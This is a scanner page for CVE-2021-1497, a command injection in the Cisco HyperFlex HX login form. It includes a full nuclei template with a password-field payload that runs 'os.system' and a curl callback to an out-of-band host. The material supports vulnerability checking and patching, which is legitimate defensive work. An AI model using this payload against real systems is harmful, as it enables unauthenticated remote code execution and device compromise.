Cisco HyperFlex HX Data Platform - Remote Command Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.

Impact

Attackers can execute arbitrary commands on the device, potentially leading to full system compromise.

Fix

Apply the latest security updates and patches provided by Cisco for HyperFlex HX.

How to confirm it

Send: POST /auth/change ; POST /auth
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: {{useragent}}"

Run it with nuclei: nuclei -id CVE-2021-1497 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-1497

info:
  name: Cisco HyperFlex HX Data Platform - Remote Command Execution
  author: gy741
  severity: critical
  description: Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  impact: |
    Attackers can execute arbitrary commands on the device, potentially leading to full system compromise.
  remediation: |
    Apply the latest security updates and patches provided by Cisco for HyperFlex HX.
  reference:
    - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1497
    - https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
    - https://twitter.com/Unit42_Intel/status/1402655493735206915
    - https://twitter.com/ptswarm/status/1390300625129201664
    - https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution
    - https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-1497
    cwe-id: CWE-78
    epss-score: 0.99922
    epss-percentile: 0.99969
    cpe: cpe:2.3:o:cisco:hyperflex_hx_data_platform:4.0\(2a\):*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: cisco
    product: hyperflex_hx_data_platform
  tags: cve,cve2021,cisco,rce,oast,kev,packetstorm,vkev,vuln
variables:
  cmd: 'curl http://{{interactsh-url}} -H \"User-Agent: {{useragent}}\"'
  payload: '123",""$6$$)); import os;os.system("{{cmd}}");print(crypt.crypt("'
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /auth/change HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        username=root&password={{url_encode(payload)}}
      - |
        POST /auth HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        username=root&password={{url_encode(payload)}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"

References

Use this check only on systems you are authorised to test. Where the data comes from